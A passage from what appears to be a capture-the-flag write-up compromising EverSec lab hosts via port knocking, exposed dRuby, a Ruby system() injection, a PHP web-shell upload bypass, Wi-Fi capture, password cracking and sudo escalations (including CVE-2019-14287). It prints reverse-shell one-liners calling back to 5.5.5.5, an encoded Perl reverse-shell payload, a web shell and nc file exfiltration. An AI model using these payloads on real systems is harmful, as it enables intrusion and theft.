fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.1.69 or4ng3
10.1.1.11 p1ne4pple
10.1.1.68 8fdfa3ef2ccb

There appears to be a number of additional hosts accessible on an internal network. Let’s target the or4ng3 host first and perform a basic port scan using nc.

$ nc -zv or4ng3 1-65535

No luck, there are no ports open. I continued to look around the Knocker server for any clues as to how we could compromise the other systems and found a big hint in jackson’s email.

$ cat /var/mail/jackson
Return-path: <admin@>
Received: from locke by  with local (Exim 4.80)
~       (envelope-from <locke@adm>)
~       id 1XHczw-0000V2-8y
~       for jackson@localhost; Wed, 13 Aug 2014 19:10:08 +0100

Date: Wed, 13 Aug 2014 19:10:08 +0100
To: jackson
Subject: Port Knock
User-Agent: Heirloom mailx 12.5 6/20/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1XHczw-0000V2-8y@adm>
From: admin@
~
Hi Jackson,

I've been playing with a port knocking daemon on my PC - see if you can use that to get a shell.
Let me know how it goes.

Regards,
admin

P.S. j00g0tM@il

The email implies that we can access a shell on one of the other servers via port knocking. Port knocking is used to externally open ports on a remote system’s firewall by connecting to a specific set of closed ports in a specific order. For example, we might connect to port 3, port 5, and port 843, and then the server would open up port 1337 for a short period of time. Although, this was not a technically difficult challenge, I found this part of the CTF to be frustrating as it required a lot of trial and error. After failing hard, I found an article describing how to setup port knocking on an Ubuntu server via knockd. In the article’s example, configuration ports 7000, 8000, and 9000 are used as the port knocking sequence. I tried this sequence out via nc and noticed that port 1111 opened.

$ nc -z 10.1.1.69 7000 8000 9000;

$ nc -zv or4ng3 1-65535
or4ng3 [10.1.1.69] 1111 (?) open

And, if we connect to port 1111 via nc we receive a shell as the admin user and can grab the foothhold flag.

$ nc -z 10.1.1.69 7000 8000 9000

$ nc or4ng3 1111
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
cd /home/admin
ls
flag.txt
littleShell.sh
cat flag.txt
pr1dEWaR

Knocker Internal 1 (or4ng3) - Root

After gaining a shell on the or4ng3 box, I noted that there was a service listening on port 8181 that was bound to localhost. We can assume that we need to exploit that service to gain root on the machine.

$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:8181          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:35669        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:1111            0.0.0.0:*               LISTEN
tcp        0      0 625a3fed3c9b:1111       b4n4n4:34964            ESTABLISHED
udp        0      0 127.0.0.11:35935        0.0.0.0:*

Using nc we can send some junk data (hello) to the service to see how it responds.

$ nc localhost 8181
hello
Fo:DRb::DRbConnErro:  mesgI" too large packet 1751477356:ET:bt[I"1/usr/lib/ruby/2.5.0/drb/drb.rb:581:in `load';FI"9/usr/lib/ruby/2.5.0/drb/drb.rb:620:in `recv_request';FI"9/usr/lib/ruby/2.5.0/drb/drb.rb:930:in `recv_request';FI">/usr/lib/ruby/2.5.0/drb/drb.rb:1605:in `init_with_client';FI";/usr/lib/ruby/2.5.0/drb/drb.rb:1617:in `setup_message';FI"5/usr/lib/ruby/2.5.0/drb/drb.rb:1569:in `perform';FI"K/usr/lib/ruby/2.5.0/drb/drb.rb:1674:in `block (2 levels) in main_loop';FI"2/usr/lib/ruby/2.5.0/drb/drb.rb:1670:in `loop';FI"@/usr/lib/ruby/2.5.0/drb/drb.rb:1670:in `block in main_loop';F:bt_locations@

Very interesting, the service returns a Ruby DRbConnErro error, so this is likely a dRuby service. dRuby allows Ruby processes to interact with other Ruby processes, over the network or locally, via RPC (similar to RMI on Java). The Ruby documentation contains a scary security warning about this service as it allows for remote code execution by default.

“As with all network services, security needs to be considered when using dRuby. By allowing external access to a Ruby object, you are not only allowing outside clients to call the methods you have defined for that object, but by default to execute arbitrary Ruby code on your server.”

The documentation is nice enough to give us example code that allows executing an arbitrary OS command (rm -rf *) against a target machine. Let’s use the interactive Ruby shell to connect to the dRuby service and execute the id command as a test via the instance_eval method.

$ irb

require 'drb'
DRb.start_service
ro = DRbObject::new_with_uri("druby://localhost:8181")
class << ro
  undef :instance_eval  # force call to be passed to remote object
end
ro.instance_eval("`id`")
...
"uid=0(root) gid=0(root) groups=0(root)\n"

Now that we can execute arbitrary commands as the root user via the exposed dRuby service, let’s setup a reverse shell. Execute the following command to catch the shell on our attacking machine.

# nc -lvp 80
listening on [any] 80 ...

Use irb again, but this time execute a command to connect back to our attacking machine (alter the IP address to your attacking machine).

$ irb

require 'drb'
DRb.start_service
ro = DRbObject::new_with_uri("druby://localhost:8181")
class << ro
  undef :instance_eval  # force call to be passed to remote object
end
ro.instance_eval("`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 5.5.5.5 80 >/tmp/f`")

We should now have a root shell on the box so we can grab the root flag and inspect the vulnerable service that utilizes dRuby.

# nc -lvp 80
listening on [any] 80 ...
...
/bin/sh: 0: can't access tty; job control turned off
# ls /root
_root.txt
run.sh
server.rb
# cat /root/_root.txt
ThRuThe3y3s0fRuby

# cat /root/server.rb
require 'drb/drb'
URI="druby://127.0.0.1:8181"
class TimeServer
  def get_current_time
    return Time.now
  end
end

FRONT_OBJECT=TimeServer.new
# $SAFE = 1 # disable eval() and friends

while TRUE
  begin
  DRb.start_service(URI, FRONT_OBJECT)
  DRb.thread.join
  rescue
    puts "Error"
  end
end
# y0ur1nn0c3nc3isD34th

Knocker Internal 2

Knocker Internal 2 (p1ne4pple) - Foothold

Previously, we had attacked the or4ng3 host from the Knocker server, but there was another odd host named p1ne4pple in the /etc/hosts file, so I figured we needed to break into that machine as well.

$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.1.69 or4ng3
10.1.1.11 p1ne4pple
10.1.1.68 8fdfa3ef2ccb

Let’s port scan the p1ne4pple host with nc.

$ nc -zv p1ne4pple 1-65535
p1ne4pple [10.1.1.11] 22 (?) open

Not much of an attack surface, since only SSH is exposed. I first tried to log into the p1ne4pple box using every known username and password that I had previously compromised during the CTF, but that did not work. Next I remembered that I had found an encrypted RSA private key on the Uploader box within the joe home directory.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,629C39CC1E945BC00F305B13C77E36CB

khm7cd4jIQSf+WaLebndTl+kghEo2SlDfkx89I36KSARLop17R5xn8LbcMCc0Rw9
44mK7I49ZABCCrl0KEQw5ZQd5N3tBC0R9gPc8LeIrebuimQiNKQ7wD67Q4utQNg/
mm4EoawuR9XKa3eLWEJ+ciGf0AQwhIatr89E5Bgb+r8X8dyislV2xQn+N5I9grWb
6Tj4Bzzj8rG3hAsVZs5wZQ0U1sQdS1wZdJiqmgbFByPXDt2rrVSOJWQZy7snkYpn
/U2qVfk2K9FHN+pQdh5WS5wxi7dOFSCg6ly5XtG2aLHAmtUCniEzziXLABYe9lPV
x6ai0goD2txcyZIhOgaVRU7OA8K6VP+OLxem5yGPxRk2tIF6pWUSmek/hSFg5igd
LY6SLaIaAgPn3nriI68sZQDQIr/nz3zojlKqF2GBON7R6tl96qZVgQi3s+3nFiug
ObKkwpPhss34vrkn4KXklegKpb0xcUyJ9pfcf9Bq9IEqZ92Eg28RBZXF8MWih0WJ
axCbTT9q0hTPTMSJWBdzBeDoyQc2XgYFN+th2wsSnc/5OLUt8Lv90n8AJpC9bsZc
dF4C5wtrcnlTO7NXkZWZ4NB2395UFY+h9MWrtCHgwidFUkn/ghKghqrQQnPv3C7E
SJXPUL68SQIgRzJdjTq1StXnQzRxxO7kg1NEtrPB3kJxwyya8qm1GuDBdpoqFhur
XaBywR0f9b9mm7gqHyKETId5G59Oq1hNLOPrFADozOQCa8lE3Nns8fFQ6Lt0qqy+
tP55mMsaAovCPUgZcruxwp8aSh56GX+mZ24Vo279Jwf3XwVS23nEDbNHbMJREFJD
nA80IMG33bBAGQuKpe/Kxo+br5eAdtZnBLQjIoPjm3ExBosbDGvbLEHxcOR3bVas
C2xjRoEILSyPP/giQXFARz5CudIH02Ov74/77LsuoPcwrFvDhbo9WsNJrSs7jyUF
6kcRjqnoMe9AnlDXBmQzfKtDLsELQgpkK9o9jZllrJ83BZFRJ3wSF58p3Jwm0ncB
e/yFogaoZLbQCPZjz62CYyzZ1cjICMN8EuqTpvqpluZRpKemcwB/TfLMYVlxqtpC
Zc6Vl0gsH30UwsaCIgEgy4fKLN72POirj9sLDx3IlyaLLb3UrAJcWIaczMe+FY+5
SFG+hCA8cKGeysnhI1MYmmCuo8Pry07obDRDEsX49D9d2Y2VvJWcUfH8HMEZQJwz
Fh/Kmwi7v+TvNqMsUb0BiZB6FzeEjwz0UDLoIo9S6lMWmeuUS1vsIzpgV8LMRz8R
/0vbiidrwRpl1lS+l7cETEVj2OKAA0N55u2mvV+BquqQdhathPDOBD3yAPOBIZly
C3HNU6E6c1MsUgv5kHywMyOvsi0qjSn81ckTVa4lzp8760Ac8voJ/bJFkXcpnAsp
BKl1LXO01q8AG2GkTR4Ot9n7LiUz9JP33KYlEYKaYQxcPbaREsgnVdNd7wBwLJd4
Y0Z6PvOgJxBI5DbBnFd9QeGU/6NW7qT0pHvaC7rTdNb1iuwo03EZDWQ2BR0bggyL
fex+SP3tqFZcWkxvM7+ENAy2v9RDVsld2iaMdciTJVAF4sqF4/ZIYleesTz8YF3w
-----END RSA PRIVATE KEY-----

Before we can use the RSA private key we need to decrypt it by cracking the password. First use the ssh2john.py to convert the file into a format that John the Ripper can understand.

$ /usr/share/john/ssh2john.py upload.key > upload.john

Next use John the Ripper to crack the password used to derive the encryption key that protects the RSA private key.

$ john --wordlist=/usr/share/wordlists/rockyou.txt upload.john 
Using default input encoding: UTF-8
...
cyber4pple       (upload.key)

Ok, now let’s upload joe’s private key to the Knocker server.

$ scp -i jumble.key -P 2222 upload.key jackson@files.eversec.cloud:/tmp/u.k

From the Knocker server, update the permissions on the key file and SSH to the p1ne4pple host, and grab the foothold flag.

$ chmod 600 /tmp/u.k

$ ssh joe@10.1.1.11 -i /tmp/u.k
The authenticity of host '10.1.1.11 (10.1.1.11)' can't be established.
ECDSA key fingerprint is SHA256:j8gGXR9bP2cOwM/CFkxQVWkLUZOcqA+toc/5SpPKgzU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.1.1.11' (ECDSA) to the list of known hosts.
Enter passphrase for key '/tmp/u.k':

$ id
uid=1000(joe) gid=1000(joe) groups=1000(joe)

$ ls
flag.txt

$ cat flag.txt
w4keUpyungm4n

Knocker Internal 2 (p1ne4pple) - User (bob)

We are currently operating under the joe account, but the /etc/sudoers file contains an odd entry that the bob user can execute /bin/bash as any user except the root user, so we probably need to compromise the bob account next.

$ cat /etc/sudoers
...
bob ALL=(ALL,!root) /bin/bash

The hostname of this box was p1ne4pple, which is a subtle hint that this challenge is Wi-Fi related (probably a Pineapple reference), so let’s run ifconfig, and iwconfig, to inspect the network interfaces on the machine.

$ ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:0a:01:01:0b
          inet addr:10.1.1.11  Bcast:10.1.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:65942 errors:0 dropped:0 overruns:0 frame:0
          TX packets:65792 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:4883945 (4.8 MB)  TX bytes:3570900 (3.5 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

mon0      Link encap:Ethernet  HWaddr AB-1C-3A-08-16-BB-30-10-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:11469 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7325 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1218263 (1.2 MB)  TX bytes:209133 (209.1 KB)

$ iwconfig
mon0  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
      Retry short limit:7   RTS thr:off   Fragment thr:off
      Power Management:off

The mon0 interface is unusual to see on a Linux server as its typically associated with network monitoring and the Aircrack-ng software. Sure enough, a modified version of airodump-ng is installed on this machine, which is used for packet capturing of raw 802.11 frames.

$ find / -name air* 2>/dev/null
/usr/bin/airodump-ng

$ /usr/bin/airodump-ng

  Airodump-ng - EverSec 2.0 edition

  usage: airodump-ng <options> <interface>[,<interface>,...]

  Options:
      --write      <prefix> : Dump file prefix
      -w                    : same as --write

  Filter options:
      --bssid     <bssid>   : Filter APs by BSSID
      --essid     <essid>   : Filter APs by ESSID
      -a                    : Filter unassociated clients

  By default, airodump-ng hop on 2.4GHz channels.
  You can make it capture on other/specific channel(s) by using:
      --channel <channels>  : Capture on specific channels

      --help                : Displays this usage screen

No interface specified.

Let’s run airodump-ng with the correct interface name to see if it detects any access points.

$ airodump-ng mon0

CH  10 ][ Elapsed: unknown ][ 2020-01-19 21:23

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

64:A6:51:55:76:2A  -76       15      529    0   8  54e  OPN              eversec

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

64:A6:51:55:76:2A  7A:CA:20:DF:F6:5A  -91   0 - 6      6         6

There appears to be a Wi-Fi network named eversec that has a MAC address of 64:A6:51:55:76:2A. Now that we know what networks are available, we can use airodump-ng to record the network traffic for a few minutes and dump the output to a file.

$ airodump-ng -c 8 --bssid 64:A6:51:55:76:2A -w /tmp/wifi_dump mon0

Now we need to transfer the network dump file off of the box and we can use nc for that task. From the attacking machine, we setup a netcat listener.

$ nc -l -p 4444 > wifi_dump 

And from the p1ne4pple box we use netcat and input redirection to send the file to our server (the IP address in this command would need to be adjusted to point to your attacking machine).

$ nc -w 3 5.5.5.5 4444 < wifi_dump

At this point we can open the network capture file in Wireshark and start looking for interesting plaintext traffic. We quickly notice that a web client downloads a secure.kdb file using HTTP, which is likely a KeePass database.

There a convenient feature to export files from Wireshark (File -> Export Objects -> HTTP -> select secure.kdb file and save it), so we don’t have carve out the HTTP headers and what not. A KeePass database is password protected so we need to crack it first to recover any of the credentials stored in the database. First use John the Ripper’s keepass2john utility to extract a john crackable hash from the KeePass database file.

# keepass2john secure.kdb > secure.kdb.john
Inlining secure.kdb

Then crack the hash using John the Ripper or Hashcat.

# john --wordlist=/usr/share/wordlists/rockyou.txt secure.kdb.john 
harrypotter      (secure.kdb)

Finally, use your favorite KeePass client software to open the password protected database and note that we find a password for the bob user.

d0n7u$3w34km45t3rp4$5w0rD$!

We can then test out the password by using the switch user command and grab the second foothold flag.

$ su bob
Password:
bob@c047a6c8c54c:/tmp$

bob@c047a6c8c54c:~$ cat flag2.txt
t0uchm3ImSiCK

Knocker Internal 2 (p1ne4pple) - Root

As we previously noted the bob user can execute /bin/bash as any user except the root user.

bob@c047a6c8c54c:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on c047a6c8c54c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on c047a6c8c54c:
    (ALL, !root) /bin/bash

This is a rare configuration, and I remebered that there was a recent vulnerability found in sudo (CVE-2019-14287).

“In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a “sudo -u #$((0xffffffff))” command.”

Let’s double check what version of sudo exists on this box.

bob@c047a6c8c54c:~$ sudo -V
Sudo version 1.8.9p5
Sudoers policy plugin version 1.8.9p5
Sudoers file grammar version 43
Sudoers I/O plugin version 1.8.9p5

Excellent this version should be exploitable, let’s try out the public exploit to get a root shell and grab the flag.

bob@c047a6c8c54c:~$ sudo -u#-1 /bin/bash

root@c047a6c8c54c:~# id
uid=0(root) gid=0(root) groups=0(root)

root@c047a6c8c54c:~# cd /root
root@c047a6c8c54c:/root# ls
root.txt

root@c047a6c8c54c:/root# cat root.txt
4liv3int3h$00perUnknoWn

QRCode

QRCode - Foothold

The dev.eversec.cloud server had multiple ports open including a web server on port 443.

$ nmap -sV -sC dev.eversec.cloud -p 443
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 22:18 UTC
Nmap scan report for dev.eversec.cloud (157.245.212.161)
Host is up (0.068s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx
|_http-title: EverSec
| ssl-cert: Subject: commonName=*.eversec.cloud
| Subject Alternative Name: DNS:*.eversec.cloud
| Not valid before: 2019-12-19T02:00:37
|_Not valid after:  2020-03-18T02:00:37

Next, we can enumerate which files exist on the web server using tools like DIRB or DirBuster.

$ dirb https://dev.eversec.cloud/ /usr/share/wordlists/dirb/big.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

URL_BASE: https://dev.eversec.cloud/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: https://dev.eversec.cloud/ ----
+ https://dev.eversec.cloud/[ (CODE:400|SIZE:267)
+ https://dev.eversec.cloud/] (CODE:400|SIZE:267)
+ https://dev.eversec.cloud/admin (CODE:401|SIZE:48)
...
+ https://dev.eversec.cloud/qrcode (CODE:200|SIZE:4255)
...

dirb found a few interesting pages including /admin and /qrcode, but the administrative page turned out to be a rabbit hole that was not vulnerable to any obvious attacks. The QR code page contained functionality that convert text into a HTML-based QR code image. The following is a partial HTTP request and response associated with the QR code generation functionality.

POST /generate HTTP/1.1
Host: dev.eversec.cloud
...

{"data":{"name":"test","account":"test","qrfun":false},"output":"to_html","css":{"class_name":"eversec"}}

HTTP/1.1 200 OK 
...

<table class="barby-barcode eversec"><tbody><tr class="barby-row"><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell off"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell off"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell on"></td><td class="barby-cell off"></td><td class="barby-cell off"></td><td class="barby-cell off"></td><td class="barby-cell off"></td><td class="barby-cell off"></td><td class="barby-cell off"></td><td class="barby-cell on"></td>
...

After manually playing around with the JSON attributes in Burp Repeater, I noted an error message that implies that we can cause the web application to call an arbitrary Ruby method. For example, changing the output attribute value to test123 generates the following Ruby NoMethodError error message.

POST /generate HTTP/1.1
Host: dev.eversec.cloud
... Content removed for brevity ...

{"data":{"name":"test","account":"test","qrfun":false},"... Content removed for brevity ...":"test123","css":{"class_name":"eversec"}}

HTTP/1.1 500 Internal Server Error 
... Content removed for brevity ...
...
<div id="summary">
        <h1><strong>NoMethodError</strong> at <strong>&#x2F;generate
          </strong></h1>
        <h2>undefined method `test123&#x27; for #&lt;Barby::QrCode:0x000055885f49aab0&gt;</h2>
        <ul>
          <li class="first"><strong>file:</strong> <code>
            barcode.rb</code></li>
          <li><strong>location:</strong> <code>method_missing
            </code></li>

Let’s change the output attribute value to system to see how the application responds.

POST /generate HTTP/1.1
Host: dev.eversec.cloud
...

{"data":{"name":"test","account":"test","qrfun":false},"output":"system","css":{"class_name":"eversec"}}

HTTP/1.1 500 Internal Server Error 
...

<div id="summary">
        <h1><strong>ArgumentError</strong> at <strong>&#x2F;generate
          </strong></h1>
        <h2>wrong number of arguments (given 0, expected 1+)</h2>
        <ul>
          <li class="first"><strong>file:</strong> <code>
            qr.rb</code></li>

Instead of a NoMethodError error message, we receive a ArgumentError error message, which implies that system method exists, but that method only accepts a single string argument. In Ruby, the system method allows a developer to execute OS commands.

After playing with the arguments I was able to figure out how to execute arbitrary OS commands by altering both the output JSON attribute value and the css JSON attribute value. For example, the following HTTP request would cause the web application to pause for about 10 seconds by executing sleep 10 via the system method.

POST /generate HTTP/1.1
Host: dev.eversec.cloud
...

{"data":{"name":"test","account":"test","qrfun":false},"output":"system","css":"sleep 10"}

Now that we have figured out how to execute OS commands on the server, let’s setup a reverse shell. Execute the following command to catch the shell on our attacking machine.

$ nc -lvp 4444
listening on [any] 4444 ...

In our web proxy, we send a HTTP request to the web application to force the server to connect back to our attacking machine. I typically encode payloads using unicode encoding in JSON using hackvertor, but escaping the relevant metacharaters works as well.

POST /generate HTTP/1.1
Host: dev.eversec.cloud
...

{"data":{"name":"test","account":"test","qrfun":true},"output":"system","css":"\u0070\u0065\u0072\u006c\u0020\u002d\u0065\u0020\u0027\u0075\u0073\u0065\u0020\u0053\u006f\u0063\u006b\u0065\u0074\u003b\u0024\u0069\u003d\u0022\u0035\u002e\u0035\u002e\u0035\u002e\u0035\u0022\u003b\u0024\u0070\u003d\u0034\u0034\u0034\u0034\u003b\u0073\u006f\u0063\u006b\u0065\u0074\u0028\u0053\u002c\u0050\u0046\u005f\u0049\u004e\u0045\u0054\u002c\u0053\u004f\u0043\u004b\u005f\u0053\u0054\u0052\u0045\u0041\u004d\u002c\u0067\u0065\u0074\u0070\u0072\u006f\u0074\u006f\u0062\u0079\u006e\u0061\u006d\u0065\u0028\u0022\u0074\u0063\u0070\u0022\u0029\u0029\u003b\u0069\u0066\u0028\u0063\u006f\u006e\u006e\u0065\u0063\u0074\u0028\u0053\u002c\u0073\u006f\u0063\u006b\u0061\u0064\u0064\u0072\u005f\u0069\u006e\u0028\u0024\u0070\u002c\u0069\u006e\u0065\u0074\u005f\u0061\u0074\u006f\u006e\u0028\u0024\u0069\u0029\u0029\u0029\u0029\u007b\u006f\u0070\u0065\u006e\u0028\u0053\u0054\u0044\u0049\u004e\u002c\u0022\u003e\u0026\u0053\u0022\u0029\u003b\u006f\u0070\u0065\u006e\u0028\u0053\u0054\u0044\u004f\u0055\u0054\u002c\u0022\u003e\u0026\u0053\u0022\u0029\u003b\u006f\u0070\u0065\u006e\u0028\u0053\u0054\u0044\u0045\u0052\u0052\u002c\u0022\u003e\u0026\u0053\u0022\u0029\u003b\u0065\u0078\u0065\u0063\u0028\u0022\u002f\u0062\u0069\u006e\u002f\u0073\u0068\u0020\u002d\u0069\u0022\u0029\u003b\u007d\u003b\u0027"}

If all goes well, we should catch a shell as the eversecsqr user.

$ nc -lvp 4444
listening on [any] 4444 ...
...
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(eversecsqr) gid=1000(eversecsqr) groups=1000(eversecsqr),27(sudo)

$ cd ~

$ ls

$ ls -al
total 28
drwxr-xr-x 1 eversecsqr root       4096 Dec 21 02:18 .
drwxr-xr-x 1 root       root       4096 Dec 21 02:18 ..
-rw-r--r-- 1 eversecsqr eversecsqr   60 Dec 21 02:15 .bashrc
-rw-r--r-- 1 eversecsqr eversecsqr   19 Dec 21 02:18 .env
drwxr-xr-x 1 eversecsqr eversecsqr 4096 Dec 21 02:18 .gem
-rw-r--r-- 1 eversecsqr eversecsqr   23 Dec 21 02:18 .gemrc
drwxr-xr-x 1 eversecsqr eversecsqr 4096 Dec 21 02:18 .rbenv

$ cat .env
5W337357_5uFf3r1NG

QRCode - Root

From running sudo, we know that the eversecsqr user can run the apt-get command as root.

$ sudo -l
Matching Defaults entries for eversecsqr on dev:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eversecsqr may run the following commands on dev:
    (root) NOPASSWD: /usr/bin/apt-get

apt-get allows us to run custom commands before or after the invocation of dpkg, so we can abuse this functionality to get a root shell and grab the flag.

$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
ls /root
flag
cat /root/flag
p0L1t1csMUcAnDh4xz

Uploader

Uploader - Foothold

After a TCP port scan of dev.eversec.cloud using nmap, we find an Apache web server running on port 8080.

$ nmap -sV -sC -p- dev.eversec.cloud
...
PORT      STATE    SERVICE          VERSION
...
8080/tcp  open     http             Apache httpd 2.4.10 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Eversec Secure File Uploader v2.0
...

When we visit http://dev.eversec.cloud:8080/ within a browser, we are presented with a simple PHP-based website called “Eversec Secure File Uploader v2.0” that appears to allow file uploads. We first create a simple PHP web shell (shell.php) on our machine.

<?php
system($_GET["c"]);
?>

But, when we upload the web shell file the web application returns an error message.

“Nice try, hacker! You’re not getting in this time.”

Let’s upload the web shell file again, but this time use a web proxy to intercept the file upload HTTP request and change the Content-Type attribute value to text/plain.

POST /upload.php HTTP/1.1
Host: dev.eversec.cloud:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1717418557325988172652423307
Content-Length: 363
Origin: http://dev.eversec.cloud:8080
Connection: close
Referer: http://dev.eversec.cloud:8080/
Upgrade-Insecure-Requests: 1

-----------------------------1717418557325988172652423307
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: text/plain

<?php
system($_GET["c"]);
?>
-----------------------------1717418557325988172652423307
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------1717418557325988172652423307--

That trick appeared to work, and the web application returns the location of the newly uploaded PHP file.

“Successfully uploaded to dev.eversec.cloud:8080/files/phpuUO4c9.php”

Next, we visit the uploaded file (http://dev.eversec.cloud:8080/files/phpuUO4c9.php?c=id) and tell the web shell to execute the id command.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now that we can execute arbitrary commands as the www-data user, let’s setup a reverse shell. We execute the following command to catch the shell on our attacking machine.

$ nc -lvp 4444
listening on [any] 4444 ...

Next in our web proxy, we send a HTTP request to the web application to force the server to connect back to our attacking machine.

GET /files/phpuUO4c9.php?c=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+5.5.5.5+4444+>/tmp/f HTTP/1.1
Host: dev.eversec.cloud:8080
...

And, we now have a shell on the box, so we can grab the flag and move onto root.

$ nc -lvp 4444
listening on [any] 4444 ...
...
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat foothold-iioadsupaosdf-README.txt
...

w3lcoMe2myNit3mare

Uploader - User (bob)

I did not notice a clear path to escalation from the www-data user to root, but I did notice credentials in bob user’s home directory.

www-data@261a8bd9403c:/home/bob/.local/share/evrs$ cat settings.conf
cat settings.conf
user="bob"
pass="rem3mber2f0rg3t"

Lucky for us, the credentials were valid, so we can now SSH into the box as bob.

$ ssh bob@dev.eversec.cloud -p 2022
bob@dev.eversec.cloud's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bob@261a8bd9403c:~$ id
uid=1000(bob) gid=1000(bob) groups=1000(bob)

bob@261a8bd9403c:~/private$ cat foothold2.txt
...

wer3h4lfW4yTher3

Uploader - Root

Let us check if the bob user can use the sudo command to execute commands as another user.

bob@261a8bd9403c:~/private$ sudo -l
Matching Defaults entries for bob on 261a8bd9403c:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on 261a8bd9403c:
    (ALL : ALL) /bin/more /var/log/dpkg.log

The bob user can execute /bin/more /var/log/dpkg.log as any user, so we can use that to spawn a root shell using an interactive command and grab the root flag.

bob@261a8bd9403c:~/private$ sudo /bin/more /var/log/dpkg.log
2019-01-22 23:12:14 startup archives unpack
...
2019-01-22 23:12:14 status unpacked libkrb5-3:amd64 1.12.1+dfsg-19+deb8u4
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root
flag.txt  startup.sh

# cat /root/flag.txt
# Congratulations! You can also try cracking root's password for bonus points.
#
# Now get out there and root all the other boxes!

n0th1nOntopbUtaBucK3t&aMop

VPN External

VPN External - Foothold

We had to perform additional DNS enumeration to find the location of the VPN server. Metasploit provides a DNS Record Scanner and Enumerator that we can use to find additional subdomains of eversec.cloud.

msf5 > use auxiliary/gather/enum_dns
msf5 auxiliary(gather/enum_dns) > set DOMAIN eversec.cloud
DOMAIN => eversec.cloud
msf5 auxiliary(gather/enum_dns) > set ENUM_BRT true
ENUM_BRT => true

msf5 auxiliary(gather/enum_dns) > run

[*] querying DNS NS records for eversec.cloud
[+] eversec.cloud NS: ns3.digitalocean.com.
[+] eversec.cloud NS: ns1.digitalocean.com.
[+] eversec.cloud NS: ns2.digitalocean.com.
[*] Attempting DNS AXFR for eversec.cloud from ns3.digitalocean.com.
[+] ns3.digitalocean.com. A: 198.41.222.173
[*] Attempting DNS AXFR for eversec.cloud from ns1.digitalocean.com.
[+] ns1.digitalocean.com. A: 173.245.58.51
[*] Attempting DNS AXFR for eversec.cloud from ns2.digitalocean.com.
[+] ns2.digitalocean.com. A: 173.245.59.41
